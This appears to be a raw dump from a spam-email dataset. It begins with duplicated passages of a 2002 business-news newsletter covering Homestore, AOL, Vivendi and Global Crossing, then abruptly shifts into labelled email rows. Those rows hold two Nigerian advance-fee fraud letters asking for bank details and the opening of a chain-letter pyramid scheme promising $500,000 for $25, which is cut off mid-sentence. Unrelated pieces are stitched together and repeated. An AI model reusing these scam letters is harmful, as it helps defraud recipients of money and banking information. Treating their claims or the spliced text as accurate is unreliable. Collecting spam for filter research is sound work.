referring only to Homestore's relationship with ""a major media company."" Nice try for anonymity, but AOL Time Warner was the only major media company Homestore dealt with, observed the New York Times. Now the heat's on AOL while investigators try and figure out how much of AOL's revenue was inflated like a Thanksgiving Day Parade float. The L.A. Times' sources said AOL execs pointed the finger at former company dealmaker Eric Keller. The Journal led with, and expanded on, this info. It seems two of the three busted Homestore execs are expected to say Keller helped Homestore do its round-tripping, and that some AOL ad revenue that looked legit on paper really came from Homestore. Keller has already been pink-slipped for shady deals with Homestore and another company; his boss got booted last month for possible book-cooking. So where's the perp walk? The umbrella stand? The theatrics that make the corporate crime beat great? We're kidding (mostly), but that could be why overseas outlets barely noticed this comparatively tame example of American excess. The Journal had one amusing tidbit, though: After Keller got fired, AOL vice chairman Ted Leonsis hired him as a consultant for the hockey team the Washington Capitals, of which Leonsis is the majority owner. Leonsis said he let Keller go after finding out why he lost his AOL job, but Keller still picked up his Capitals phone as of Wednesday. As outrageous severance packages go, it's no Jack Welsh/GE $9 million annual pension, but it'll have to do. - Jen Muehlbauer Homestore Executives Agree to Guilty Pleas http://www.washingtonpost.com/wp-dyn/articles/A3165-2002Sep25.html Homestore, AOL Ad Deals Yield Guilty Pleas (USA Today) http://tinyurl.com/1nbz U.S. Focuses on Executive at Homestore http://www.nytimes.com/2002/09/26/technology/26AOL.html Homestore's Ex-Execs to Aid Investigators http://www.latimes.com/business/la-fi-homestore26sep26,0,5107257.story Probe of Homestore Turns To an Ex-AOL Executive http://online.wsj.com/article/0,,SB1032971619118707713,00.html (Paid registration required.) Jack Welch's Very Golden Years http://www.fool.com/news/Take/2002/mft/mft02090903.htm Glengarry Glen Ross http://us.imdb.com/Title?0104348 ----------------------------------------------------------------- ADVERTISEMENT ----------------------------------------------------------------- What's Really Going on at Microsoft? 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Media watchers can rate reporters' confusion over Fourtou's latest pronouncements by tallying the amount of space outlets devoted to their coverage of the mess. The New York Times ran 24 paragraphs on the board meeting -- and then filed another 19 in an analysis that sought to examine what the latest moves meant. The Financial Times posted two articles on the meeting and still had more to say, lambasting Fourtou in Lex, the peach paper's influential column. Lex called the exec's update ""more like a rambling fireside chat ... than a strategy presentation."" There's little that's clear about what's ahead for Vivendi. The company now says that it will dispose of 12 billion euros worth of assets over the next 18 months. Here's how reporters examining the tea leaves read the current plan: Out are Telepiu, an Italian pay-TV operation, and Canal Plus Technologies, a maker of set-top boxes. On the way out are Vivendi's publishing properties, which include Houghton Mifflin, and a minority stake in a PC gamemaker. That leaves Vivendi's stake in telecom, via its Cegetel investment, and its Universal entertainment properties, and -- hey, wait a minute, wasn't that Messier's plan, the New York Times wondered by way of an analyst's quote. To confuse matters further, News Corp., the alleged partner in the done deal for Telepiu, says no deal is in place, according to the Financial Times. As for Cegetel, Fourtou said he'd consider selling Vivendi's 44% stake; then again, maybe he'll increase it. And that was all in one post-meeting telephone conference. The only decision by Vivendi in which Fourtou seemed sure was his claim that the company won't pay any severance to Messier. ""He enjoyed making deals too much and overpaid,"" the Guardian quoted Fourtou as saying, and then adding, ""This all went to his head."" With heads other than Messier's now in question, is Vivendi's viability again in doubt? Outlets today report that Enron's logo, the oversize capital ""E"" that stood outside its headquarters, sold at auction for $44,000. How many euros might a V bring? - Deborah Asbrand Vivendi Will Move Quickly to Sell Many Assets http://www.nytimes.com/2002/09/26/business/26VIVE.html What's New at Vivendi? Depends Who's Talking http://www.nytimes.com/2002/09/26/business/26PLAC.html Vivendi in Move to Sell Raft of Assets (Financial Times) http://tinyurl.com/1ncq Vivendi Board to Deny Messier Severance Pay (Financial Times) http://tinyurl.com/1ncs Lex: Vivendi Universal (Financial Times) http://tinyurl.com/1ncw News Corp Counters Report of Telepiu Sale (Financial Times) http://tinyurl.com/1ncy Vivendi Aims to Realise Eu12bn from Asset Sales (Daily Telegraph) http://tinyurl.com/1nd0 Messier 'won't get a penny' http://media.guardian.co.uk/city/story/0,7497,799283,00.html Vivendi Shakes Up Board, Denies Messier's Severance http://www.latimes.com/business/la-fi-vivendi26sep26,0,481695.story Enron Auctions Off Furniture and Famous 'E' http://www.nytimes.com/2002/09/26/business/26ENRO.html ----------------------------------------------------------------- OTHER STORIES ----------------------------------------------------------------- HP Boosts Layoffs By 1,800 http://www.siliconvalley.com/mld/siliconvalley/4151819.htm Former WorldCom Controller To Plead Guilty To Two counts (Wall Street Journal) http://www.msnbc.com/news/813048.asp Tyco Rewarded an Executive During a Grand Jury Inquiry http://www.nytimes.com/2002/09/26/business/26PAY.html Bell Labs Researcher Falsified Experiments (AP) http://www.chron.com/cs/CDA/story.hts/tech/news/1591103 Germany's Neuer Markt to close http://news.bbc.co.uk/2/hi/business/2283068.stm Resources Dry Up As Joblessness Drags On (USA Today) http://tinyurl.com/1nc1 Merrill Aide to Plead Guilty (Wall Street Journal) http://www.msnbc.com/news/813195.asp?0dm=B21AB Enron Ex-CFO Clears His Throat For Feds http://www.nypost.com/business/57905.htm Music Labels Seek Piracy Payback http://www.latimes.com/business/la-fi-napster26sep26001431,0,388519.story ----------------------------------------------------------------- Do you want to reach the Net's savviest audience? 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AOL Keyword: Fraud Probe Vivendi Meets the New Boss Other Stories Editor's Note Is Media Unspun useful to you? Then pass it on to a colleague. The more readers we have, the more successful we'll be. The more successful we are, the more useful we can be to you. Pass it on! Media Unspun serves business news and analysis, authoritatively and irreverently, every business day. An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. Sponsor Pop!Tech 2002 October 18 - 20, 2002: Camden, Maine Join 500 big thinkers to discuss the collision of technology and culture Register now at: http://www.poptech.org AOL Keyword: Fraud Probe Another three bite the dust. Three former executives from real estate dot-com Homestore have agreed to plead guilty to criminal charges and repay $4.6 million in stock gains. What's more interesting is that they'll cooperate with an investigation into AOL's role in the dubious dealing. This is the most real estate drama you'll get this week without renting ""Glengarry Glen Ross."" Homestore's former COO was charged with wire fraud and conspiracy to commit securities fraud (up to 10 years in jail), the former CFO with just the conspiracy charge (up to five years), and an ex-VP with insider trading (less time, but unknown). The big accusation here is ""round tripping,"" in which Homestore would buy goods from a company as long as the company then spent most of the money on AOL ads. Then AOL would supposedly spend the same amount of money at Homestore, ""thus allowing Homestore effectively to 'buy' revenue using its own cash,"" explained the Wall Street Journal. Homestore has become a cause celebre for Attorney General John Ashcroft, who held a press conference to emphasize that the Bush administration really means it about this corporate clean-up thing. Neither Ashcroft, the Justice Department, nor the SEC named names, referring only to Homestore's relationship with ""a major media company."" Nice try for anonymity, but AOL Time Warner was the only major media company Homestore dealt with, observed the New York Times. Now the heat's on AOL while investigators try and figure out how much of AOL's revenue was inflated like a Thanksgiving Day Parade float. The L.A. Times' sources said AOL execs pointed the finger at former company dealmaker Eric Keller. The Journal led with, and expanded on, this info. It seems two of the three busted Homestore execs are expected to say Keller helped Homestore do its round-tripping, and that some AOL ad revenue that looked legit on paper really came from Homestore. Keller has already been pink-slipped for shady deals with Homestore and another company; his boss got booted last month for possible book-cooking. So where's the perp walk? The umbrella stand? The theatrics that make the corporate crime beat great? We're kidding (mostly), but that could be why overseas outlets barely noticed this comparatively tame example of American excess. The Journal had one amusing tidbit, though: After Keller got fired, AOL vice chairman Ted Leonsis hired him as a consultant for the hockey team the Washington Capitals, of which Leonsis is the majority owner. Leonsis said he let Keller go after finding out why he lost his AOL job, but Keller still picked up his Capitals phone as of Wednesday. As outrageous severance packages go, it's no Jack Welsh/GE $9 million annual pension, but it'll have to do. - Jen Muehlbauer Homestore Executives Agree to Guilty Pleas http://www.washingtonpost.com/wp-dyn/articles/A3165-2002Sep25.html Homestore, AOL Ad Deals Yield Guilty Pleas (USA Today) http://tinyurl.com/1nbz U.S. Focuses on Executive at Homestore http://www.nytimes.com/2002/09/26/technology/26AOL.html Homestore's Ex-Execs to Aid Investigators http://www.latimes.com/business/la-fi-homestore26sep26,0,5107257.story Probe of Homestore Turns To an Ex-AOL Executive http://online.wsj.com/article/0,,SB1032971619118707713,00.html (Paid registration required.) Jack Welch's Very Golden Years http://www.fool.com/news/Take/2002/mft/mft02090903.htm Glengarry Glen Ross http://us.imdb.com/Title?0104348 Sponsor What's Really Going on at Microsoft? Mary Jo Foley delivers unmatched reporting and insight with MICROSOFT WATCH. Track initiatives like .Net, Palladium, Longhorn, Trinity, Yukon; release dates, competitive moves, people. For a FREE 14-day trial subscription: https://ziffdavis.omeda.com/zm/msw/msw.cgi?intro2&p=5UCXA00075 Vivendi Meets the New Boss What does Vivendi want to be when it grows up? The media can't figure it out. Can CEO Jean-René Fourtou? His fuzziness at yesterday's board meeting got reporters to wondering. If he can't explain his vision, does that mean he's lacking the 20/20 clarity that observers on two continents were banking on? For Fourtou, worse than the Monsieur Magoo accusations are the comparisons, starting to bubble through media accounts, that he resembles -- wait, we're rubbing our eyes -- the vilified Jean-Marie Messier. Media watchers can rate reporters' confusion over Fourtou's latest pronouncements by tallying the amount of space outlets devoted to their coverage of the mess. The New York Times ran 24 paragraphs on the board meeting -- and then filed another 19 in an analysis that sought to examine what the latest moves meant. The Financial Times posted two articles on the meeting and still had more to say, lambasting Fourtou in Lex, the peach paper's influential column. Lex called the exec's update ""more like a rambling fireside chat ... than a strategy presentation."" There's little that's clear about what's ahead for Vivendi. The company now says that it will dispose of 12 billion euros worth of assets over the next 18 months. Here's how reporters examining the tea leaves read the current plan: Out are Telepiu, an Italian pay-TV operation, and Canal Plus Technologies, a maker of set-top boxes. On the way out are Vivendi's publishing properties, which include Houghton Mifflin, and a minority stake in a PC gamemaker. That leaves Vivendi's stake in telecom, via its Cegetel investment, and its Universal entertainment properties, and -- hey, wait a minute, wasn't that Messier's plan, the New York Times wondered by way of an analyst's quote. To confuse matters further, News Corp., the alleged partner in the done deal for Telepiu, says no deal is in place, according to the Financial Times. As for Cegetel, Fourtou said he'd consider selling Vivendi's 44% stake; then again, maybe he'll increase it. And that was all in one post-meeting telephone conference. The only decision by Vivendi in which Fourtou seemed sure was his claim that the company won't pay any severance to Messier. ""He enjoyed making deals too much and overpaid,"" the Guardian quoted Fourtou as saying, and then adding, ""This all went to his head."" With heads other than Messier's now in question, is Vivendi's viability again in doubt? Outlets today report that Enron's logo, the oversize capital ""E"" that stood outside its headquarters, sold at auction for $44,000. How many euros might a V bring? - Deborah Asbrand Vivendi Will Move Quickly to Sell Many Assets http://www.nytimes.com/2002/09/26/business/26VIVE.html What's New at Vivendi? Depends Who's Talking http://www.nytimes.com/2002/09/26/business/26PLAC.html Vivendi in Move to Sell Raft of Assets (Financial Times) http://tinyurl.com/1ncq Vivendi Board to Deny Messier Severance Pay (Financial Times) http://tinyurl.com/1ncs Lex: Vivendi Universal (Financial Times) http://tinyurl.com/1ncw News Corp Counters Report of Telepiu Sale (Financial Times) http://tinyurl.com/1ncy Vivendi Aims to Realise Eu12bn from Asset Sales (Daily Telegraph) http://tinyurl.com/1nd0 Messier 'won't get a penny' http://media.guardian.co.uk/city/story/0,7497,799283,00.html Vivendi Shakes Up Board, Denies Messier's Severance http://www.latimes.com/business/la-fi-vivendi26sep26,0,481695.story Enron Auctions Off Furniture and Famous 'E' http://www.nytimes.com/2002/09/26/business/26ENRO.html Other Stories HP Boosts Layoffs By 1,800 http://www.siliconvalley.com/mld/siliconvalley/4151819.htm Former WorldCom Controller To Plead Guilty To Two counts (Wall Street Journal) http://www.msnbc.com/news/813048.asp Tyco Rewarded an Executive During a Grand Jury Inquiry http://www.nytimes.com/2002/09/26/business/26PAY.html Bell Labs Researcher Falsified Experiments (AP) http://www.chron.com/cs/CDA/story.hts/tech/news/1591103 Germany's Neuer Markt to close http://news.bbc.co.uk/2/hi/business/2283068.stm Resources Dry Up As Joblessness Drags On (USA Today) http://tinyurl.com/1nc1 Merrill Aide to Plead Guilty (Wall Street Journal) http://www.msnbc.com/news/813195.asp?0dm=B21AB Enron Ex-CFO Clears His Throat For Feds http://www.nypost.com/business/57905.htm Music Labels Seek Piracy Payback http://www.latimes.com/business/la-fi-napster26sep26001431,0,388519.story Sponsor Do you want to reach the Net's savviest audience? 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Then pass it on to a colleague. The more readers we have, the more successful we'll be. The more successful we are, the more useful we can be to you. Pass it on! Media Unspun serves business news and analysis, authoritatively and irreverently, every business day. An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. ----------------------------------------------------------------- MARKET CAN'T FIND ITS BOTTOM WITH BOTH HANDS ----------------------------------------------------------------- Remember when Nasdaq 2500 seemed impossibly low? Welcome back to cruel reality. These days, with few analysts willing to call a market bottom, financial reporters outdo each other with dire assessments of how bad things are and how much worse they can get. Maybe Morrissey should do a concert on Wall Street; the self-pity can't get much worse. The markets' closing numbers were the same in every city, but you wouldn't know it from the headlines. It was the Dow's worst monthly performance in four years, said MSNBC. ""3rd quarter worst for stocks since '87,"" read the Denver Post, repeating a popular figure reached by tallying the Dow and S&P's percentage losses. The New York Daily News counted percentage losses for the month only and declared it the worst September since 1937. Everyone predicted a lousy September 2002, so the phrase ""self-fulfilling prophecy"" does spring to mind. So does the phrase ""gloom and doom."" ""Every day for the last three months, the market has erased $73 of wealth, including Saturdays, Sundays and holidays, for every person living in the United States,"" said the San Jose Mercury News. ""Countless investors are starting to wonder if stocks will ever go up again,"" wrote USA Today. In a more plausible statement, TheStreet.com's Aaron Task said recent declines ""demonstrated once again the folly of investors' repeated attempts to pinpoint a bottom"" and ""disabuse(d) them of the idea that the best time to buy is when things look worst, if only because recent history has shown stocks can go from terrible to awful and beyond."" OK, breathe. Go read the comics or something. Feeling better? Good, because there's more. The New York Post, in small enough words for everyone to understand, made the public service announcement ""Beware! October Is A Very Bad Month For The Stock Market."" And you shouldn't take candy from strangers, either. The Post's John Crudele, a market curmudgeon before it was in style, warned, ""This market is very dangerous, even if things look like they couldn't get any worse."" Detroit Free Press columnist Susan Tompor agreed that ""the next round of statements could indeed look pretty nasty."" We have to agree: the stock market is bad. The economy is bad. It's going to get worse before it gets better, and that may take a while. The ""bottom"" is, technically, zero. Be cautious, yes, but don't let the media's bipolar disorder ruin your day. Just like dot-coms weren't really a new economy, a bear market isn't the end of the world. - Jen Muehlbauer No Happy Endings in September http://www.thestreet.com/markets/aarontaskfree/10045171.html Bear drags stocks deeply into den http://www.usatoday.com/money/markets/us/2002-09-30-bear-bottom_x.htm Market's September is worst since 1937 http://www.nydailynews.com/business/story/23183p-21985c.html Dow posts worst month in 4 years http://www.msnbc.com/news/534548.asp Market's Worst Quarter Since '87 Crash Limps to a Close http://www.nytimes.com/2002/10/01/business/01STOX.html For Dow and S&P, Worst Quarter Since '87 http://www.washingtonpost.com/wp-dyn/articles/A24961-2002Sep30.html 3rd quarter worst for stocks since '87 (Denver Post) http://tinyurl.com/1q3i Market's tumble persists, capping worst three months in 15 years http://www.siliconvalley.com/mld/siliconvalley/4186771.htm Stock Market Quarterly Review http://online.wsj.com/page/0,,2_0861,00.html (Paid subscription required.) Beware! October Is A Very Bad Month For The Stock Market http://www.nypost.com/business/58389.htm SUSAN TOMPOR: Bad news is, the beating isn't over yet http://www.freep.com/money/business/tompor1_20021001.htm ----------------------------------------------------------------- ADVERTISEMENT ----------------------------------------------------------------- What's Really Going on at Microsoft? Mary Jo Foley delivers unmatched reporting and insight with MICROSOFT WATCH. Track initiatives like .Net, Palladium, Longhorn, Trinity, Yukon; release dates, competitive moves, people. For a FREE 14-day trial subscription: https://ziffdavis.omeda.com/zm/msw/msw.cgi?intro2&p=5UCXA00075 ----------------------------------------------------------------- WINNICK: HANDS-OFF OR RED-HANDED? ----------------------------------------------------------------- Former Global Crossing chairman Gary Winnick will appear before a Congressional committee today. It won't be pretty. CNN predicted he will plead the Fifth. Most other outlets expected Winnick to testify. Impetus for all the coverage was yesterday's release by the House Energy and Commerce Committee of memos indicating that Winnick was in the thick of the company's suspect dealmaking. A committee spokesman said, ""If he tries to portray himself as an out-of-the-loop ceremonial chairman, we intend to remind him that he is under oath."" The memo that got most of the attention was one from then-CEO Leo Hindery to Winnick in June 2001. Hindery warned in colorful language that the company was heading for a fall. The Financial Times, Washington Post, and New York Times all ran a quote from the memo comparing telcos to salmon. Hindery urged Winnick to unload the company -- ""without looking like we are shaking our bootie all over the world,"" quoted the two Timeses -- and resigned shortly thereafter. One little detail from the memos is guaranteed to make Winnick's time under the television lights even more uncomfortable. Among the companies he used his influence with, to help close deals, was Enron. All the reports mentioned Enron, but the New York Times seemed to be alone in noting that Global Crossing never completed a deal with the fallen energy giant. The Wall Street Journal looked beyond the obviously embarrassing details of the memos to point out that, despite such evidence, the gun might not be smoking yet. ""Prosecutors would still need to prove that he knew the transactions were improper and used them mainly as a way of enriching himself by boosting the company's stock price artificially,"" the Journal reporters wrote. The AP noted that all of the memos were dated after Winnick's last sale of Global Crossing stock, $123 million in May 2001. Despite his $734 million in stock profits, Gary Winnick was not among the five telco executives being sued by New York attorney general Eliot Spitzer to return their ill-gotten gains. Is Spitzer betting, with the Journal, that Winnick might walk away clean? - Keith Dawson Global Crossing: What Did Winnick Know? http://www.cnn.com/2002/ALLPOLITICS/09/30/time.crossing.tm/ Winnick Was Told Of Telecom Risks http://www.washingtonpost.com/wp-dyn/articles/A24886-2002Sep30.html Memo Indicates Global Crossing Chief Knew of Troubles http://www.nytimes.com/2002/10/01/business/01GLOB.html Global Crossing's Winnick Knew About Swap Deals http://online.wsj.com/article/0,,SB1033426396710785953,00.html (Paid subscription required) Documents show active role by Global Crossing chairman (AP) http://www.bayarea.com/mld/mercurynews/business/4187381.htm Suit Seeks IPO Profits From Five Executives http://www.washingtonpost.com/wp-dyn/articles/A24921-2002Sep30.html ----------------------------------------------------------------- OTHER STORIES ----------------------------------------------------------------- Fund giant Fidelity set to eliminate 1,695 jobs (Boston Globe) http://tinyurl.com/1q3h AOL Chairman's No. 1 Ally Turns Into His Biggest Foe http://www.nytimes.com/2002/10/01/technology/01AOL.html More living without benefits: Health insurance given less frequently at work http://www.freep.com/money/business/insure30_20020930.htm Beware al-Qaida, Branch is on to you (Battle Creek Enquirer) http://tinyurl.com/1prs Hewlett-Packard and EMC Sue Each Other (Reuters) http://www.nytimes.com/reuters/technology/tech-tech-hewlett-emc.html Dealing With W http://www.nytimes.com/2002/10/01/opinion/01KRUG.html Broadband Disconnect http://www.washingtonpost.com/wp-dyn/articles/A21649-2002Sep30.html Judge Dismisses $800M Cell Phone-Brain Tumor Suit (AP) http://www.washingtonpost.com/wp-dyn/articles/A22712-2002Sep30.html Microsoft Puts Meat Behind Security Push http://www.eweek.com/article2/0,3959,561985,00.asp ----------------------------------------------------------------- Do you want to reach the Net's savviest audience? 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Other Stories Editor's Note Is Media Unspun useful to you? Then pass it on to a colleague. The more readers we have, the more successful we'll be. The more successful we are, the more useful we can be to you. Pass it on! Media Unspun serves business news and analysis, authoritatively and irreverently, every business day. An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. Sponsor Pop!Tech 2002 October 18 - 20, 2002: Camden, Maine Join 500 big thinkers to discuss the collision of technology and culture Register now at: http://www.poptech.org Market Can't Find Its Bottom With Both Hands Remember when Nasdaq 2500 seemed impossibly low? Welcome back to cruel reality. These days, with few analysts willing to call a market bottom, financial reporters outdo each other with dire assessments of how bad things are and how much worse they can get. Maybe Morrissey should do a concert on Wall Street; the self-pity can't get much worse. The markets' closing numbers were the same in every city, but you wouldn't know it from the headlines. It was the Dow's worst monthly performance in four years, said MSNBC. ""3rd quarter worst for stocks since '87,"" read the Denver Post, repeating a popular figure reached by tallying the Dow and S&P's percentage losses. The New York Daily News counted percentage losses for the month only and declared it the worst September since 1937. Everyone predicted a lousy September 2002, so the phrase ""self-fulfilling prophecy"" does spring to mind. So does the phrase ""gloom and doom."" ""Every day for the last three months, the market has erased $73 of wealth, including Saturdays, Sundays and holidays, for every person living in the United States,"" said the San Jose Mercury News. ""Countless investors are starting to wonder if stocks will ever go up again,"" wrote USA Today. In a more plausible statement, TheStreet.com's Aaron Task said recent declines ""demonstrated once again the folly of investors' repeated attempts to pinpoint a bottom"" and ""disabuse(d) them of the idea that the best time to buy is when things look worst, if only because recent history has shown stocks can go from terrible to awful and beyond."" OK, breathe. Go read the comics or something. Feeling better? Good, because there's more. The New York Post, in small enough words for everyone to understand, made the public service announcement ""Beware! October Is A Very Bad Month For The Stock Market."" And you shouldn't take candy from strangers, either. The Post's John Crudele, a market curmudgeon before it was in style, warned, ""This market is very dangerous, even if things look like they couldn't get any worse."" Detroit Free Press columnist Susan Tompor agreed that ""the next round of statements could indeed look pretty nasty."" We have to agree: the stock market is bad. The economy is bad. It's going to get worse before it gets better, and that may take a while. The ""bottom"" is, technically, zero. Be cautious, yes, but don't let the media's bipolar disorder ruin your day. Just like dot-coms weren't really a new economy, a bear market isn't the end of the world. - Jen Muehlbauer No Happy Endings in September http://www.thestreet.com/markets/aarontaskfree/10045171.html Bear drags stocks deeply into den http://www.usatoday.com/money/markets/us/2002-09-30-bear-bottom_x.htm Market's September is worst since 1937 http://www.nydailynews.com/business/story/23183p-21985c.html Dow posts worst month in 4 years http://www.msnbc.com/news/534548.asp Market's Worst Quarter Since '87 Crash Limps to a Close http://www.nytimes.com/2002/10/01/business/01STOX.html For Dow and S&P, Worst Quarter Since '87 http://www.washingtonpost.com/wp-dyn/articles/A24961-2002Sep30.html 3rd quarter worst for stocks since '87 (Denver Post) http://tinyurl.com/1q3i Market's tumble persists, capping worst three months in 15 years http://www.siliconvalley.com/mld/siliconvalley/4186771.htm Stock Market Quarterly Review http://online.wsj.com/page/0,,2_0861,00.html (Paid subscription required.) Beware! October Is A Very Bad Month For The Stock Market http://www.nypost.com/business/58389.htm SUSAN TOMPOR: Bad news is, the beating isn't over yet http://www.freep.com/money/business/tompor1_20021001.htm Sponsor What's Really Going on at Microsoft? Mary Jo Foley delivers unmatched reporting and insight with MICROSOFT WATCH. Track initiatives like .Net, Palladium, Longhorn, Trinity, Yukon; release dates, competitive moves, people. For a FREE 14-day trial subscription: https://ziffdavis.omeda.com/zm/msw/msw.cgi?intro2&p=5UCXA00075 Winnick: Hands-Off or Red-Handed? Former Global Crossing chairman Gary Winnick will appear before a Congressional committee today. It won't be pretty. CNN predicted he will plead the Fifth. Most other outlets expected Winnick to testify. Impetus for all the coverage was yesterday's release by the House Energy and Commerce Committee of memos indicating that Winnick was in the thick of the company's suspect dealmaking. A committee spokesman said, ""If he tries to portray himself as an out-of-the-loop ceremonial chairman, we intend to remind him that he is under oath."" The memo that got most of the attention was one from then-CEO Leo Hindery to Winnick in June 2001. Hindery warned in colorful language that the company was heading for a fall. The Financial Times, Washington Post, and New York Times all ran a quote from the memo comparing telcos to salmon. Hindery urged Winnick to unload the company -- ""without looking like we are shaking our bootie all over the world,"" quoted the two Timeses -- and resigned shortly thereafter. One little detail from the memos is guaranteed to make Winnick's time under the television lights even more uncomfortable. Among the companies he used his influence with, to help close deals, was Enron. All the reports mentioned Enron, but the New York Times seemed to be alone in noting that Global Crossing never completed a deal with the fallen energy giant. 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List maintainer: listmaster@linux.ie",1,1 """MR.Johnson S. Abu"" ",,"Fri, 23 Aug 2002 20:41:55 +0100",[ILUG] BUSINESS,"CENTRAL BANK OF NIGERIA FOREIGN REMITTANCE DEPT. TINUBU SQUARE, LAGOS NIGERIA EMAIL-smith_j@mailsurf.com 23TH OF August 2002 ATTN:PRESIDENT/CEO STRICTLY PRIVATE BUSINESS PROPOSAL I am MR.Johnson S. Abu, the bills and exchange Director at the ForeignRemittance Department of the Central Bank of Nigeria. I am writingyou this letter to ask for your support and cooperation to carrying thisbusiness opportunity in my department. We discovered abandoned the sumof US$37,400,000.00 (Thirty seven million four hundred thousand unitedstates dollars) in an account that belong to one of our foreign customers,an American late Engr. John Creek (Junior) an oil merchant with the federal government of Nigeria who died along with his entire family of a wifeand two children in Kenya Airbus (A310-300) flight KQ430 in November2000. Since we heard of his death, we have been expecting his next of kin tocome over and put claims for his money as the heir, because we cannotrelease the fund from his account unless someone applies for claims asthe next of kin to the deceased as indicated in our banking guidelines. Unfortunately, neither their family member nor distant relative hasappeared to claim the said fund. Upon this discovery, I and other officialsin my department have agreed to make business with you release the totalamount into your account as the heir of the fund since no one came forit or discovered either maintained account with our bank, other wisethe fund will be returned to the bank treasury as unclaimed fund. We have agreed that our ratio of sharing will be as stated thus: 30%for you as foreign partner and 70% for us the officials in my department. Upon the successful completion of this transfer, my colleague and I willcome to your country and mind our share. It is from our 60% we intendto import computer accessories into my country as way of recycling thefund. To commence this transaction we require you to immediately indicateyour interest by calling me or sending me a fax immediately on the aboveTelefax # and enclose your private contact Telephone #, Fax #, full nameand address and your designated banking co- ordinates to enable us fileletter of claim to the appropriate department for necessary approvalsbefore the transfer can be made. Note also, this transaction must be kept strictly confidential becauseof its nature. NB: Please remember to give me your Phone and Fax No MR.Johnson Smith Abu -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",1,1 """Dr Bello Ahmed"" ",undisclosed-recipients:;,"Thu, 22 Aug 2002 13:31:18 -0700",Relationship,"--===_SecAtt_000_1fheucnqggtggp Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable URGENT PRIVATE & EXTREMELY CONFIDENTIAL Dear =2C With profound interest and in utmost confidence=2C I am soliciting your immediate assistance or co-operation as to enable us round up an opportunity within my capability as a result of the death of one of our contractor =28Beneficiary=29=2E You should not be surprised as to how I got your contact=2C you were highly recommended to me with the believe that you are competent=2C reliable=2C Trustworthy and confident=2E I am Dr=2E Bello Ahmed=2C Chief Auditor=2C Special Project and Foreign Contract Regularization and Disbursement=2C in the Office of the Auditor General of the Federation of Federal Republic of Nigeria=2E We work in hand with the Senate Committee on Foreign Contract Payment=2E Our duty is to ensure that all contractors are paid their contract sum in due time=2E This last payment quarter=2C a total of 30 contractors were short listed for payment and about 25 of them have been paid remaining about 5 =28Five=29=2C information reaching this office indicates that one among the remaining has been reported dead=2E His name is Mr=2E Gerrand Schwartz from Sweden=2C he died in the last Air France Concorde plane crash=2E Meanwhile he finished the execution of his contract December 19th 1999=2E But since his death=2C nobody has come forward to put a claim to his contract fund which is about US$15=2C500=2C000=2E00 Million =28fifteen Million Five Hundred Thousand U=2ES Dollars=29 that is why I need your immediate assistance to expedite the transfer of the contract amount=2E With my position as a Director in the Department of Contract Regularisation and Disbursement=2C I will regularize all the necessary documents and present your company as the bona-fide beneficiary of this fund in as much as you respond within 48 hours for respect of this important message=2E Your unreserved cooperation in this business is just what we require for a successful and hitch =96 free transaction=2E Necessary measures to ensure a risk =96 free and fool proof transaction and confidentiality has been taken=2E Kindly signify your interest by replying via my personal e =96mail address above=2E Upon receipt of your positive reply we shall discuss on =281=29 Basic Program for Operation =282=29 Financial Status as to ascertain your capability=2E Upon completion of this transaction I have decided to give you 30% of the total sum=2C 60% of the fund which is our share will be used for investment in your company or in any other company of our choice=2E While10% has been mapped out to take care of any minor expenses incurred=2E Take note that this project will last for only 21 working days=2E I expect your response in time =28within 48 hours=29 as time is of great essence in this transaction=2E God Bless and Kind Regards=2C Dr=2E Bello Ahmed --===_SecAtt_000_1fheucnqggtggp Content-Type: application/octet-stream; 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Suppose I told you that you could start your own E-mail business today and enjoy these benefits: *** All Customers Pay You In Cash!!! *** You Will Sell A Product Which Costs Nothing to Produce! *** Your Only Overhead Is Your Time! *** You Have 100s Of Millions Of Potential Customers!!! *** You Get Detailed, Easy To Follow Startup Instructions! AND THIS IS JUST THE TIP OF THE ICEBERG . . . As you read on you'll discover how a 'Seen on National TV' program is paying out a half million dollars, every 4 to 5 months from your home, for an investment of only $25 US Dollars expense, one time. ALL THANKS TO THE COMPUTER AGE . . . AND THE INTERNET! Before you say ""Bull"", please read the following: This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the Internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are ""absolutely NO laws prohibiting the participation in the program and if people can follow the simple instructions, they are bound to make some mega bucks with only $25 out of pocket cost"". DUE TO THE RECENT INCREASE OF POPULARITY AND RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER! ***** This is what one had to say: ""Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so glad I finally joined just to see what one could expect in return for the minimal effort and money required. To my asonishment, I received total $610,470.00 in 21 weeks, with money still coming in"". Pam Hedland, Fort Lee, New Jersey \---------------------------------------------------------------- Here is another testimonial: ""This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa. . . . 3 weeks later the money started to come in. First month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything."" More testimonials later but first: ** PRINT THIS NOW FOR YOUR FUTURE REFERENCE If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following . . . THEN READ IT AGAIN and AGAIN!!! **FOLLOW THESE SIMPLE INSTRUCTIONS, TO MAKE YOUR FINANCIAL DREAMS COME TRUE** INSTRUCTIONS: \------------------- ***** Order all 5 reports shown on the list below. ***** For each report, send $5 US CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. *****When you place your order, make sure you order each of the 5 reports ***** You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00 **********Within a few days you will receive, via e-mail, each of the 